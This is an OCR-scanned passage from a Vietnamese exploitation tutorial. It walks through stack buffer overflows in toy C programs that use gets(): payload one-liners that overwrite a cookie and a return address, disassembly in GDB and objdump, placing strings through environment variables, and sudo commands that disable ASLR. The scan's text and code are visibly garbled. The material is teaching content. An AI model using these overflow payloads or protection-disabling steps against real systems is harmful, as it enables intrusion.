dung 16i ndo cing phéi ¢6 cau tra 1oi.

3.3 Truyén di liéu vao chuong trinh

Cau héi thit hai ma ngusi tan dung 16i phai tra 18i 14 lam cach nao dé truyen dit
lisu vao chuong trinh. Poi khi chuong trinh doc tit bo nhap chuan, doi khi tit
mot tap tin, khi khéc lai tit mot socket. Ching ta phai biét chuong trinh nhan
dit lieu tit dau dé c6 thé truyén dit lieu can thiét vao chuong trinh thong qua
con dudng day.

Ngudn 3.2 rat gan vé6i vi du trude. Diém khéac biét duy nhat gitta hai chuong
trinh 1& gia tri so sanh 01020305.
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regular@exploitation:~/src$ diff -u stackl.c stack2.c
--- stackl.c 2009-01-18 13:14:00.000000000 +0700
+++ stack2.c 2009-01-18 13:14:00.000000000 +0700
@@ -6,7 +6,7 @@
char buf[16];
printf ("&buf: %p, &cookie: %p\n", buf, &cookie);

gets(buf);
- if (cookie == 0x41424344)
+ if (cookie == 0x01020305)
{

printf ("You win!\n");

}

Ban doc dé dang nhan ra dit lieu dé tan dung 15i bao gom 10 ky tu bat ky
dé 1ap day bién buf va 4 ky tur ¢6 ma ASCII lan lugt 1a 5, 3, 2 va 1. Tuy nhién,
cac ky tu nay la nhiing ky tu khong in duge, khong c6 trén ban phim nén cach
nhap dit liéu tit ban phim sé khong dung duge.

Dirng doc va suy nghi

Néu chuong trinh doc tit bo nhap chuan, thi c6 bao nhiéu cach dé truyén dit
liéu t6i chuong trinh?

Vi chuong trinh doc tit bo nhap chuan nén ching ta c6 thé ding nhiing cach
sau dé truyén dit lieu qua bo nhap chuan:

Chuyén huéng (redirection) Bo nhap chuan c6 thé duge chuyén hudng tir
ban phim qua mét tap tin thong qua ky ty < nhu trong cau lénh . /stackl
< input. Khi thuc hién cau lénh nay, noi dung cia tap tin input sé dugc
dung thay cho bd nhéap chuédn. Moi tac vu doc tir bo nhap chudn sé& doc
tr tap tin nay.

Ong (pipe) 14 mot cach trao doi thong tin lien tién trinh (interprocess com-
munication, IPC) trong dé6 mot chuong trinh gii dit lieu cho mot chuong
trinh khac. Bo nhap chuan c6 thé duge chuyén huéng dé trd thanh dau
nhan cia 6ng nhu trong cau lénh ./sender | ./receiver. Chuong trinh

phia trude ky tw | (gitt | Shift | vA nhan ) 13 chuong trinh gt dit lieu,

bo xuat chuan ciia chuong trinh nay sé giti dit lieu vao dng thay vi giii ra
man hinh; chuong trinh phia sau ky tu | 14 chuong trinh nhan d liéu, bo
nhap chuén cla chuong trinh nay sé doc dit lieu tit 6ng thay vi ban phim.

V6i hai cach trén, mot ky tu bat ky ¢6 thé duge truyén vao chuong trinh thong
qua bo nhap chuan. Vi du dé tan dung 16i § Ngudn 3.2 véi cach dau tién, ching
ta s& tao mot tap tin chita dit lieu nhap thong qua Ngudn 3.3. Sau dé ching ta
goi chuong trinh bi 16i va chuyén huéng bo nhap chuén ciia né qua tap tin da
dugc tao.
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1 #include <stdio.h>

2

3 int main(int argc, char sxargv)

1

5 char s[] = "aaaaaaaaaaaaaaaa\x05\x03\x02\x01";
6 FILE «f = fopen(argv[l], "wb");

7 fwrite(s, 1, sizeof(s), f);

8 fclose (f);

9 return 0;

10 }

Nguon 3.3: exp2.c

regular@exploitation:~/src$ gcc -o exp2 exp2.c
regular@exploitation:~/src$ ./exp2 redirect
regular@exploitation:~/src$ ./stack2 < redirect
&buf: Oxbffffad4d, &cookie: Oxbffffab4

You win!

regular@exploitation:~/src$

Néu sit dung cach thit hai, viéc tan dung 16i sé don gidn hon vi chiing ta c6
thé diing cac lenh c6 s&n nhu echo dé truyén céac ky tu dic biet qua éng.

regular@exploitation:~/src$ echo -e "aaaaaaaaaaaaaaaa\005\003\002\001" | ./stack
2

&buf: Oxbffffadd, &cookie: Oxbffffab4

You win!

regular@exploitation:~/src$

Tham chi ching ta con c¢6 thé si dung (va ban doc duge khuyén khich sit
dung) céc ngon ngit kich ban dé don gian héa cong viec nay. Doc gia cé thé sit
dung bat k¥ ngon ngit kich badn ndo quen thudc v6i minh. Trong tai lidu nay,
tac gia xin trinh bay véi ngon ngit Python?.

regular@exploitation:~/src$ python -c ’print "a"x16 + "\x05\x03\x02\x01"’ | ./st
ack2

&buf: Oxbffffadd, &cookie: Oxbffffabd

You win!

regular@exploitation:~/src$

Ching ta két thic vi du thit hai tai day véi nhitng diém dang luu ¥ sau:

e Cach truyén dit licu vao chuong trinh ciing quan trong nhu chinh ban than
da lieu do.

e Sy hiéu biét va théi quen sit dung mot ngon ngit kich ban sé tiét kiem
dugce nhiéu thdi gian va cong sitc trong qua trinh tan dung 16i.

2http://wuw.python.org


http://www.python.org

0O Ut Wi+

11
12
13
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#include <stdio.h>

int main()
{
int cookie;
char buf[16];
printf ("&buf: _%p, _&cookie: %p\n", buf, &cookie);
gets (buf);
if (cookie = 0x00020300)
{

}

printf("You_win!\n");

Nguon 3.4: stack3.c

Dimg doc va suy nghi

V6i nhitng gi chiing ta da ban qua trong chuong nay, doc gia c6 thé tan dung
dugc 16i ctia Ngudn 3.4 khong?
Tra 161 mau® c6 thé duge tim thiy & chan trang.

3.4 Thay déi ludng thuc thi
3.4.1 Ky thuat ca

O hai vi du trudc chiing ta thay ddi gi4 tri mot bién noi bo quan trong c6é anh
huéng dén két qua thyc thi ctia chuong trinh. Chiing ta sé 4p dung k§ thuat do
dé tiép tuc xem xét vi du trong Nguodn 3.5.

Diém khéc biét duy nhét gitta vi du nay va cac vi du trude 1 gia tri cookie
dugc kiém tra v6i 000DOA00 do dé ching ta phong doan ring v6i mot chit sita
ddi t6i cting dong lenh tan dung 161 sé dem lai két qua nhu §.

regular@exploitation:~/src$ python -c ’print "a"*16 + "\x00\x0A\xOD\x00"’ | ./st
ack4

&buf: Oxbffffadd, &cookie: Oxbffffabd

regular@exploitation:~/src$

Dang tiéc, chiing ta khong thiy dong chit “You win!” dugc in ra man hinh
nita. Phéi ching c6 sy sai s6t trong cau lénh tan dung 1617 Hay cach tinh toan
cia ching ta da bi lech vi cdu tric bo nhé thay déi?

Spython -c ’print "a"x16 + "\x00\x03\x02\x00"’ | ./stack3
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#include <stdio.h>

int main ()
{
int cookie;
char buf[16];
printf ("&buf: %p, _&cookie: %p\n", buf, &cookie);
gets (buf);
if (cookie = 0x000D0A00)
{

}

printf("You_win!\n");

Nguon 3.5: stackd.c

Dirng doc va suy nghi

Doc gia c6 thé giai thich 1y do khong?

Kiém tra két qua thiyc hién lénh ta c6 thé loai bé kha niang dau tién vi cau
lenh duge thie hién mot céch t6t dep nén dam bao ct phap lénh ding.

Béi vi Ngudn 3.5 khong c6 su thay doi cac bién noi bo trong ham main nén
cAu tric ngan xép clia main van phai nhu da dudc minh hoa trong Hinh 3.2.

Loai bo hai truong hop nay dan ta dén két luan hop 1y cubi ciing 1a gia tri
cookie da khong bi d6i thanh 000D0A00. Nhung tai sao gia tri ctia cookie bi
thay déi ding véi gia tri mong mudn & nhitng vi du trude?

Nguyén nhan cookie bi thay déi chinh 1a do bién buf bi tran va lan qua phan
bo nhé clia cookie. Vi dit lieu duge nhan tit bo nhap chuan vao bién buf thong
qua ham gets nén ching ta sé tim hiéu ham gets ky hon.

Doc tai liegu vé ham gets bing lénh man gets dem lai cho chiing ta thong
tin sau:

gets() reads a line from stdin into the buffer pointed to by s until
either a terminating newline or EOF, which it replaces with ’\0’.

Tam dich (v6i nhitng phan nhan manh duge t6 dam): gets() doc mot dong
tit bo nhap chudn vao bo dem dugce tré dén bdi s cho dén khi giap phai mot
ky tu dong mdi hosic EOF, va cac ky tu ndy duge thay biang \0’.

Nhu da néi dén trong Tiéu muc 2.1.3, k¥ tu dong méi c6 ma ASCII 1a 0A.
Chi gip ky tu nay, gets sé nging viéc nhan dit lieu va thay ky tu nay bang ky
tu ¢6 ma ASCII 0 (ky tu két thic chudi). Do d6, trang thai ngan xép ctia ham
main ddi véi cau lenh tan dung sé nhu minh hoa trong Hinh 3.4.

Vi viéc nhap dit lieu bi ngat tai ky tu dong méi nén hai ky ty c6 ma ASCII
0D va 00 khong dugc dua vao cookie. Hon nita, ban than ky tu dong méi cling
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()%

dia chi tré v

ngung nhdp tai 0A -] Pp_ct
va doi thanh 00 00| 00 | xx | xx

61| 61 | 61 | 61
61| 61 | 61 | 61
61| 61 | 61 | 61
61| 61 | 61 | 61

Hinh 3.4: Chudi nhap bi ngit tai 0A

bi déi thanh ky tu két thic chudi. Do dé gia tri clia cookie sé khong thé duge
gan bang véi gia tri mong mudn, vi ching ta can mot cach thiic tan dung 16i
khac.

3.4.2 Luong thuc thi (control flow)

Hay xem lai qua trinh thyc hién chuong trinh Ngudn 3.5. Trudc hét, hé dicu
hanh sé nap chuong trinh vao bd nhé, va goi ham main. Viéc dau tién ham main
lam 1a goi t6i printf dé in ra man hinh mot chudi thong tin, sau dé main goi téi
gets dé nhan dit liéu tit bo nhap chuan. Khi gets két thac, main sé kiém tra gia
tri clia cookie v6i mot gia tri xac dinh. Néu hai gia tri nay nhu nhau thi chudi
“You win!” s& dugc in ra man hinh. Cudi cting, main két thic v quay tré vé bo
nap (loader) ctia he diéu hanh. Qua trinh nay duge mo ta trong Hinh 3.5.

O cac vi du trude, ching ta chuyén hudng ludng thyce thi tai 6 hinh thoi dé
chuong trinh di theo miii tén “bing” va goi ham printf in ra man hinh. Véi vi
du tai Nguon 3.5, chiing ta khong con kha ning chon nhanh so sanh dé nita.
Tuy nhién ching ta vAn c6 thé sit dung ma & nhanh “bing” iy néu nhu ching
ta c6 thé dua con trd lenh vé vi tri cla nhanh.

Dimng doc va suy nghi

Ban doc c6 dé nghi gi khong?

Vi khong thé ré vio nhanh “bing” nén chuong trinh clia chiing ta sé luon di
theo nhanh “khong”, va sé di t6i phan “két thic” clia ham main. Nhé lai Tiéu
muc 2.3.3, phan két thiic clia mot ham gén con trd lénh vé6i gia tri da luu trén
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bd nap

main

gets

QOO0DOAOQ

Hinh 3.5: Biéu dd luong thyc thi
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printf

QO0DOAO(

Hinh 3.6: Tré vé chinh than ham

ngin xép dé tré vé ham goi né. Thong thudng, phan két thic clia main sé quay
tré vé bo nap ctia hé diéu hanh nhu duge minh hoa. Trong trudng hgp dic bigt
khéc, phan két thiic c6 thé quay vé mot dia diém bat ky. Va sé that tuyét voi
néu dia diém nay la nhanh “bang” nhu trong Hinh 3.6.

Yéu t6 quyét dinh dia diém ma phan két thic quay lai chinh 1a dia chi tré
vé duge Ivu trén ngan xép. Trong Hinh 3.2, dia chi ndy nim phia sau buf va do
dé c6 thé bi ghi de hoan toan néu nhu dit lieu nhap cé do dai tit 1C (28 thap
phan) ky tu tré len.

Nhu vay, ta da xac dinh dugc huéng di méi trong viéc tan dung 161 ctia
Nguon 3.5. Van dé con lai 1a tim ra dia chf ctia nhanh “bang”.

3.4.3 Tim dia chi nhanh “bang”

C6 nhiéu cach dé tim dia chi nhanh “bing” trong chuong trinh. Céc chuyén gia an
ninh tng dung thudng st dung chuong trinh dich ngugc tuong tac Interactive
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DisAssembler (IDA) dé xit Iy moi viéc. Chuong trinh IDA dugc cung cap va
huéng dan sit dung trong khéa hoc truc tiép ciia tac gid nhung dé giam s lugng
cay bi chat cho viéc in nhiéu hinh anh nén ching ta sé xem xét nhitng cach
khac. St dung trinh g& rd6i GDB, hodc cong cu objdump 13 hai cich ching ta sé
ban t6i & day.

3.4.3.1 Véi GDB

G& 16i (debug) 1a cong viec nghién citu hoat dong ctia chuong trinh nham tim
ra nguyén nhan tai sao chuong trinh hoat dong nhu thé nay, hay nhu thé kia.

Chuong trinh g r6i (debugger) pho thong trong Linux 1a GDB. Dé stt dung
GDB, ta dimng lenh vé6i ct phap gdb <cmd>. Vi du dé gé 16i stacks, ta dung lenh
nhu hinh chup sau.

regular@exploitation:~/src$ gdb ./stack4d

GNU gdb 6.4.90-debian

Copyright (C) 2006 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditioms.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/
1ib/t1ls/i686/cmov/libthread_db.so.1".

gdb$

GDB hién ra dau nhic gdb$ chd lénh. Néu ta nhap vao x/22i main thi GDB
sé hién (x) trén man hinh 22 (thap phan) léenh hgp ngit (i) dau tién ctia ham
main.

gdb$ x/22i main

0x8048470 <main>: push  ebp

0x8048471 <main+1>: mov ebp,esp

0x8048473 <main+3>: sub esp,0x28

0x8048476 <main+6>: add esp,Oxfffffffc
0x8048479 <main+9>: lea eax, [ebp-4]

0x804847c <main+12>: push eax

0x804847d <main+13>: lea eax, [ebp-20]

0x8048480 <main+16>: push eax

0x8048481 <main+17>: push  0x80485d0

0x8048486 <main+22>: call  0x804834c <printf@plt>
0x804848b <main+27>: add esp,0x10

0x804848e <main+30>: add esp,Oxfffffffd
0x8048491 <main+33>: lea eax, [ebp-20]

0x8048494 <main+36>: push  eax

0x8048495 <main+37>: call 0x804831c <gets@plt>
0x804849a <main+42>: add esp,0x10

0x804849d <main+45>: cmp DWORD PTR [ebp-41,0xd0a00
0x80484a4 <main+52>: jne 0x80484b6 <main+70>
0x80484a6 <main+54>: add esp,Oxfffffffd
0x80484a9 <main+57>: push  0x80485e7

0x80484ae <main+62>: call 0x804834c <printf@plt>
0x80484b3 <main+67>: add esp,0x10

gdb$

Cot dau tién 13 dia chi ma dong lénh nay sé dude tai vio bd nhé khi thue
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thi. Cot thi hai 1a khodng céch tuong déi so véi dong lénh dau tién ctia main.
Cot cht ba chinh 1a céc lénh hgp ng.

Dua theo biéu d6 ludng diéu khién, ta sé can tim t6i nhanh c6 chita 1oi goi
ham printf thit hai. Tai dia chi 080484AE 1a 131 goi ham printf thit hai do d6
nhanh “béng” chinh 14 nhanh c6 chita dia chi nay. Mot vai dong lénh phia trén
15i goi ham la mot léenh nhay c6 dicu kien JNE, danh dau sy ré nhanh. Dich
dén ctia lenh nhay nay 14 mot nhanh, va phan phia sau lénh nhiy 13 mot nhanh
khac. Vi phan phia sau lénh nhdy c6 chita 15i goi ham ta dang xét nén nhanh
“bang” bat dau tit dia chi 080484A6.

Dé thoat GDB, chiing ta nhap lénh quit.

3.4.3.2 Véi objdump

Chuong trinh objdump cung cip thong tin vé mot tap tin thuc thi theo dinh
dang ELF (dugc st dung trong cdc hé diéu hanh Linux, BSD, Solaris).

Objdump c6 thé dugc st dung dé in ra cac lénh hgp ngit nhuw GDB néu duge
goi v6i tham s6 -d.

regular@exploitation:~/src$ objdump -d ./stack4
./stacké: file format elf32-i386
Disassembly of section .init:

080482e4 <_init>:

80482e4: 55 push  Yebp

80482e5: 89 eb mov %esp, hebp

80482e7: 83 ec 08 sub $0x8, %esp

80482ea: e8 a5 00 00 00 call 8048394 <call_gmon_start>
80482ef : e8 3c 01 00 00 call 8048430 <frame_dummy>

80482f4: e8 77 02 00 00 call 8048570 <__do_global_ctors_aux>
80482£9: c9 leave

80482fa: c3 ret

Ban dich nguge ma objdump cung cap 1a cia toan bo tap tin thuec thi, thay
vi clia mot ham nhu ta da ldm véi GDB. Tim kiém trong thong tin objdump
xuét ra, ching ta c6 thé thiy dugc mot doan nhu hinh chup sau.
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08048470 <main>:

8048470: 55 push  %ebp

8048471: 89 eb mov %esp, hebp

8048473: 83 ec 28 sub $0x28, %esp

8048476: 83 c4 fc add $oxfffffffc,%esp
8048479: 8d 45 fc lea Oxfffffffc(%ebp),%eax
804847c: 50 push  Yeax

804847d: 8d 45 ec lea Oxffffffec(%ebp),%eax
8048480: 50 push  %eax

8048481 : 68 dO 85 04 08 push $0x80485d0

8048486: e8 cl1 fe ff ff call 804834c <printf@plt>
804848b: 83 c4 10 add $0x10, %esp

804848e: 83 c4 f4 add $OxEffffff4,%esp
8048491 : 8d 45 ec lea Oxffffffec(febp),%eax
8048494: 50 push  Yeax

8048495: e8 82 fe ff ff call 804831c <gets@plt>
804849a: 83 c4 10 add $0x10, %esp

804849d: 81 7d fc 00 Oa 0d 00 cmpl  $0xd0a00,0xfffffffc (%ebp)
80484a4: 75 10 jne 80484b6 <main+0x46>
80484a6: 83 c4 f4 add $OxfLfffff4, %esp
80484a9: 68 e7 85 04 08 push $0x80485e7

80484ae: e8 99 fe ff ff call 804834c <printf@plt>
80484Db3: 83 c4 10 add $0x10, %esp

Cot dau tien 13 dia chi lenh tuong ty nhu ban xuit ciia GDB. Cot thit hai 1a
mé may tuong Gng véi cac lénh hgp ngit 6 cot thit ba. Diém khéc biét 16n nhat
giita ban xuét ciia objdump va GDB la objdump sit dung cii phap kiéu AT&T.
V6i cti phap AT&T thi tham s6 ngudn sé di trude tham s6 dich.

Cung ap dung ly ludn nhu v6i GDB, ta cling tim dugc dia chi ctia nhanh
“hing” bit dau tir 030484A6.

3.4.4 Quay vé chinh than ham

Gid day, chung ta da x4c dinh duge dia chi ma chiing ta muén phan két thic
quay tré vé. Dia chi nay phai dugc dat vao ding 6 ngan xép nhu minh hoat
trong Hinh 3.7.

Dé dat dugc trang thai nay, chudi nhap vao phai dt dai dé 1ap day bién buf
(can 10 byte), tran qua bién cookie (can 4 byte), vugt cid 6 ngin xép chita gid
tri EBP cii (can 4 byte), va bon ky tut cudi ciing phai c6 ma ASCII lan lugt 1a
A6, 84, 04, va 08. May man cho chiing ta la trong bén ky tir nay, khong c6 ky
tu dong méi. Nhu vay ta sé can 18 ky tu dé 1ap chd tréng va 4 ky tur cudi nhu
da dinh.

regular@exploitation:~/src$ python -c ’print "a"x0x18 + "\xA6\x84\x04\x08"’ | ./
stack4

&buf: Oxbffffadd, &cookie: Oxbffffab4

You win!

Segmentation fault
regular@exploitation:~/src$

Ching ta ciing c6 thé dimng dia chi 080484A9 thay cho 080484A6 vi né khong
thay déi két qua ctia lenh goi ham printf. Tuy nhién ching ta khong thé trd
vé ngay lénh goi ham printf tai dia chi 080484AE vi tham sd truyén vho ham
printf chua dudc thiét 1ap. Tham s6 nay dugc thiét 1lap qua lenh PUSH trudc
no, tai dia chi 080484A9.
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a6 | 84 [ 04 | 08

ebp ci

cookie
buf
buf
buf
buf

Hinh 3.7: Trang thai can dat dugc

regular@exploitation:~/src$ python -c ’print "a"*0x18 + "\xA9\x84\x04\x08"’ | ./
stack4

&buf: Oxbffffadd, &cookie: Oxbffffab4

You win!

Segmentation fault
regular@exploitation:~/src$

Phuong phéap tan dung 16i ching ta vita xem xét qua dugc goi 1a ky thuat
quay vé phan ving .text (return to .text). Mot tap tin thyc thi theo dinh dang
ELF c6 nhiéu phan ving. Phan ving .text la phan viung chita tit ci cac ma
lenh da dugc trinh bién dich tao ra, va sé duge bo vi xit 1y thyc thi. Ky thuat
nay kha quan trong vi déi khi ma lénh ma chtng ta can thyec thi di c6 sin trong
chuong trinh nén ching ta chi can tim ra dia chi cac mé lenh d6 1a da cé thé
thyre hien thanh céng viéc tan dung 16i nhu trong vi du ban dén § day.

Ciing thong qua vi du nay, doc gia c6 thé nhan ra mot vai diém dang luu y
sau:

1. Ching ta phai hiéu that ky cach hoat dong ctia chuong trinh, va ci nhing
thu vien duge st dung. Néu nhu khong biét ré vé ham gets thi ta sé khong
nhan ra dugce ky tu dong méi bi chuyén thanh ky tu két thic chudi va la
nguyén nhan lam cho viéc tan dung theo cach ctt khong thanh cong.

2. Néu chuong trinh c¢6 nhitng cach thiic dé phong chéng, hay han ché viec
tan dung 16i thi chting ta t6t nhit nén tim mot phuong thitc tan dung
khac thay vi cd ging lam cho phuong thic cit hoat dong dudc.

3. Cé6 nhiéu cach dé tan dung mot 16i. Nhu trong vi du nay, chiing ta c6 thé
st dung hai dia chi trong nhanh “bang” dé quay tré ve.
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#include <stdio.h>

int main ()
{
int cookie;
char buf[16];
printf ("&buf: %p, _&cookie: %p\n", buf, &cookie);
gets (buf);
if (cookie = 0x000D0A00)
{

}

printf("You_lose!\n");

Nguon 3.6: stack5.c

3.5 Quay vé thu vién chuan

O cac vi du trude, ching ta tan dung maé lénh da cé sin trong chuong trinh dé
in dong chit “You win!”. Trong Ngudn 3.6, chiing ta khong thay doan ma thyc
hién tdc vu mong mudn diy nita. Thay vi in “You win!”, Ngudn 3.6 in “You
lose!”. Mac dut vay, muc tiéu ctia ching ta vAn khong thay doi.

3.5.1 Chen dit liéu vao vung nhé ctia chuong trinh

Véi nhan xét do, viec dau tién ching ta can lam la phai dua duge chudi “You
win!” vao trong vung nhé cia chuong trinh va xac dinh dugce dia chi ctia ving
nhg dé.

Dimmg doc va suy nghi

Doc gia c6 thé nghi ra bao nhiéu cach?

Mai tién trinh (process) trong hé didu hanh Linux duge cAp mot viing nhé
hoan toan tach biét vé6i cac tién trinh khac mic du ching c6 thé c6 cung mot
dia chi tuyén tinh. Dia chi tuyén tinh nay dudc phan quin Iy bo nhé 4o anh xa
sang dia chi bo nhé vat 1y nhu da ban dén trong Tiéu muc 2.2.3.1.

Tuy tach biét nhung mot vai dit lieu clia tién trinh me sé dude chép vao
ving nhé ciia tién trinh con khi tién trinh con dugc hé didu hanh nap vio bo
nhé. Céc dit lieu d6 bao gom:

1. Céc bién mai trudng.
2. Teén tap tin thuc thi.

3. Tham s dong lénh.
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#include <stdio.h>

int main()

{
printf ("%08x\n", getenv ("EGG"));

return 0;

Nguon 3.7: getenv.c

3.5.1.1 Bién mdi trudng

Bién moi truong (environment variable) dude dit vio cudi phan nhé dung cho
ngin xép. Cac bién moi truong duge ké thita ti tién trinh me xudng tién trinh
con. Tuy thit tut (v do d6, vi tri) céc bién moi trudng c6 thé bi thay ddi khi c6
st thay doi vé sb luogng, va noi dung cac bién moi trudng, nhung thong thudng
tién trinh con sé& nhan day du cac bién moi trudng ciia tién trinh me.

Vi du ching ta hay diing cic dong lénh sau dé thiét lap bién moi truong
JAVA_HOME.

JAVA_HOME=/opt/jdk1.6.0
export JAVA_HOME

Sau khi thyc hién, bién moi truong JAVA HOME sé& dudc gan gia tri
/opt/jdk1.6.0 va dugc ké thita xudng cac tién trinh con. Chinh vi Iy do d6
nén céic tién trinh Java sau ndy déu biét thu muc Java gbc & dau.

Diéu nay c6 nghia ring néu ta thic hién lénh thiét 1ap mot bién moi truong
v6i gia tri “You win!” thi ta sé truyén dudce chudi nay vao viing nhé clia cac tién
trinh sau do.

EGG=’You win!’
export EGG

Dé tim dia chi cia chudi nay trong bo nhd, ching ta c6 thé sit dung chuong
trinh nhé dugc liet ke trong Ngudn 3.7. Khi chay, chuong trinh sé in dia chi cia
chudi “You win!”.

regular@exploitation:~/src$ gcc -o getenv getenv.c
regular@exploitation:~/src$ ./getenv

bffffc36

regular@exploitation:~/src$

Vi vi trf cac bién méi trudng rat nhay cadm véi gia tri ctia ching nén dé dam
bao rang moi tién trinh déu chita chudi “You win!” tai dia chi BFFFFC36, chiing
ta phai ddm bao khong c6 su thay déi gi téi bién moi truong trong céc lan thuc
thi chuong trinh. Mot trong nhitng thay doi vo tinh ma ching ta it luu ¥ t6i 1a
st thay déi thu muc hién tai. Hay chd ¥ su thay déi dia chi clia ciing bién moi
truong trong hinh chup sau.
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regular@exploitation:~/src$ cp getenv ..
regular@exploitation:~/src$ cd ..
regular@exploitation:~$ ./getenv
bffffc3a

regular@exploitation:~$

Khong nhiing vay, do dai dong lénh clng c6 &nh hudng téi vi tri clia céc
bién mai trudng.

regular@exploitation:~/src$ ./getenv

bffffc36

regular@exploitation:~/src$ ././getenv
bffffc32

regular@exploitation:~/src$ ./././getenv
bffffc2e

regular@exploitation:~/src$ cp getenv ge
regular@exploitation:~/src$ ./ge
bffffc3e

regular@exploitation:~/src$

Quan sat su thay doi gia tri ching ta cé thé thay quy luat don gian vi tr
gi4 tri ctia bién moi trudng bi gidm di 2 don vi khi dong lénh ting them 1 ky
tw. Tt . /getenv tang thém 2 ky tu thanh ././getenv lam vi tri gidm di 4 don
vi xubng BFFFC32. T ./getenv gidm di 4 ky tu thanh ./ge 1am vi tri tang
thém 8 don vi léen BFFFFCSE.

Doi 16i vé ASLR

Xin doc gid luvu ¥ ring moi trudng lam viée clia ching ta khong cé chiic ning
ngau nhién héa dan trai khong gian cip cao (Advanced Space Layout Random-
ization hay ASLR) nén cac dia chi chiing ta tim dugc sé khong thay déi qua céc
lan thie thi chuong trinh.

regular@exploitation:~/src$ cat /proc/sys/kernel/randomize_va_space
0
regular@exploitation:~/src$

Khi chitc ning nay dudc bat, hé diéu hanh sé di chuyén cac khéi bo nhé dén
nhitng noi khac nhau moi khi chuong trinh duge thye thi. Do dé, dia chi sé bi
thay ddi qua céc lan thiec thi.

regular@exploitation:~/src$ sudo sh -c ’echo 1 > /proc/sys/kernel/randomize_va_s
pace’

regular@exploitation:~/src$ cat /proc/sys/kernel/randomize_va_space

1

regular@exploitation:~/src$ ./getenv

bf987c36

regular@exploitation:~/src$ ./getenv

bfcc6c36

regular@exploitation:~/src$ sudo sh -c ’echo 0 > /proc/sys/kernel/randomize_va_s
pace’

regular@exploitation:~/src$
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3.5.1.2 Tén tap tin thyc thi

Tén tap tin thyc thi duge dit vio ngin xép nhu cic bién moi truong. Ching ta
c6 thé 1oi dung diéu nay dé dua mot chudi vao ciing nhé clia chuong trinh bing
cach dbi tén chuong trinh dé thanh chudi mong muén thong qua lénh mv.

lmv stackb ’You win!’ ‘

3.5.1.3 Tham s6 dong lénh

Ciing nhu tén tap tin, tham s6 dong lénh ciling dugc truyén vho chuong trinh
qua ngan xép. Cho nén chiing ta cé thé goi chuong trinh véi tham s6 “You win!”
nhu sau.

./stackb ’You win!’

Viéc x4c dinh dia chi chudi tham s6 va tén chuong trinh (ca hai déu 1a nhiing
phan ti ctia mang argv trong chuong trinh C) sé 1a mot cau dé nhé danh cho
doc gia.

3.5.1.4 Chinh bién buf

Chuong trinh nhan di lieu nhap va ta hoan toan cé thé nhap vao chudi “You
win!” vao chuong trinh! Chudi nhap vao sé dugdce Iuu trong bién buf. Tuyét voi
hon ca 1& & vi du nay, dia chi bién buf dugc thong béo ra man hinh cho ching
ta biét.

regular@exploitation:~/src$ ./stackb
&buf: Oxbffffa34, &cookie: Oxbffffadd
You win!

regular@exploitation:~/src$

Trong hinh chup trén, bién buf nam tai dia chi BFFFFA34.

3.5.2 Quay vé lénh goi ham printf

Khi da c6 chudi can in trong b nhé, va dia chi ciia né, chiing ta chi can truyén
dia chi n&y lam tham s6 cho ham printf thi sé dat duge muc tieu. Hay xem xét
céc lenh hop ngit ding dé in chudi “You lose!”.
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regular@exploitation:~/src$ gdb ./stackb

GNU gdb 6.4.90-debian

Copyright (C) 2006 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/
1lib/t1ls/i686/cmov/libthread_db.so.1".

gdb$ disassemble main
Dump of assembler code for function main:

0x08048470 <main+0>: push ebp

0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x28
0x08048476 <main+6>: add esp,Oxfffffffc
0x08048479 <main+9>: lea eax, [ebp-4]

0x0804847c <main+12>: push eax

0x0804847d <main+13>: lea eax, [ebp-20]
0x08048480 <main+16>: push eax

0x08048481 <main+17>: push  0x80485d0

0x08048486 <main+22>: call 0x804834c <printf@plt>
0x0804848b <main+27>: add esp,0x10

0x0804848e <main+30>: add esp,Oxfffffffd
0x08048491 <main+33>: lea eax, [ebp-20]
0x08048494 <main+36>: push eax

0x08048495 <main+37>: call 0x804831c <gets@plt>
0x0804849a <main+42>: add esp,0x10

0x0804849d <main+45>:  cmp DWORD PTR [ebp-4],0xd0a00
0x080484a4 <main+52>: jne 0x80484b6 <main+70>
0x080484a6 <main+54>: add esp,Oxfffffffd
0x080484a9 <main+57>: push  0x80485e7

0x080484ae <main+62>: call  0x804834c <printf@plt>
0x080484b3 <main+67>: add esp,0x10

0x080484b6 <main+70>: mov esp, ebp

0x080484b8 <main+72>: pop ebp

0x080484b9 <main+73>: ret

0x080484ba <main+74>: nop

0x080484bb <main+75>: nop

0x080484bc <main+76>: nop

0x080484bd <main+77>: nop

0x080484be <main+78>: nop

0x080484bf <main+79>: nop

End of assembler dump.

gdb$

Tru6e khi thyc hién lenh CALL, tai dia chi 080484A9, lenh PUSH dua dia
chi ctia chudi “You lose!” vao ngan xép. Ching ta c6 thé kiém tra chinh xac
chudi gi duge dat tai 080485E7 thong qua lénh x/s.

gdb$ x/s 0x80485e7
0x80485e7 <_IO0_stdin_used+27>: "You lose!\n"
gdb$

Nhu vay, truée khi dén lenh CALL tai 080484AE, dinh ngin xép sé phai
chita dia chi chudi can in. Nhan xét ndy dem lai cho chiing ta § tudng quay
trd vé thang dia chi 080484AE néu nhu ta c6 thé gan dia chi chudi “You win!”
vao dinh ngin xép. Véi phuong phap ndy, trang thai ngan xép can dat dugc sé
tuong ty nhu Hinh 3.7, chi khac 1a dia chi tré vé sé c6 gia tri 080484AE.
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main ()

{

printf("You_win!");
x(int %)(0) = 0;

Nguon 3.8: scratch.c

Viéc con lai chting ta can lam 13 tim vi tri dinh ngin xép sau khi ham main
da quay vé dia chi 080484AE. Dé main quay vé CALL printf thi true khi lénh
RET & phan két thiic ctia ham main duge thie hién, con trdé ngan xép phai chi
t6i 6 ngin xép chia dia chi tré vé . Sau khi thyc hién lenh RET, con trd ngin
xép sé dich lén mot 6 ngin xép nhu mo ta trong Hinh 3.8, vA con trd lenh sé
chi t6i vi tri mong muén.

Chiing ta di xac dinh dugc dinh ngan xép nén ching ta sé dat tai vi tri d6
dia chi chudi “You win!”. Dé don gidn hoéa van dé tim dia chi, ching ta sé truyén
chudi “You win!” vao chuong trinh thong qua viéc nhap vao bién buf. Do d6 dia
